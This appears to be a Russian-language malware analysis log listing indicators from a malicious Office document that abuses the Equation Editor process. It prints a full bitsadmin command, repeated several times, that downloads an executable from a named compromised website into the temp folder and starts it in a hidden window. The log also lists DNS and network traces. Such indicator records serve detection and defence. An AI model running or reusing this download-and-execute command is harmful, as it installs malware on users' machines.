Техническая информация
- '%WINDIR%\syswow64\cmd.exe' /c bitsadmin /transfer wk /priority foreground https://www.gorontula.com/wp-admin/includes/_output2011D00.exe %TEMP%\bHy.exe && start %TEMP%\bHy.exe
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{1985d5ff-03cb-4fdb-8831-b01a35d1d990}.tmp
- 'go###tula.com':443
- DNS ASK go###tula.com
- '%WINDIR%\syswow64\cmd.exe' /c bitsadmin /transfer wk /priority foreground https://www.gorontula.com/wp-admin/includes/_output2011D00.exe %TEMP%\bHy.exe && start %TEMP%\bHy.exe' (со скрытым окном)
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\bitsadmin.exe' /transfer wk /priority foreground https://www.gorontula.com/wp-admin/includes/_output2011D00.exe %TEMP%\bHy.exe
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding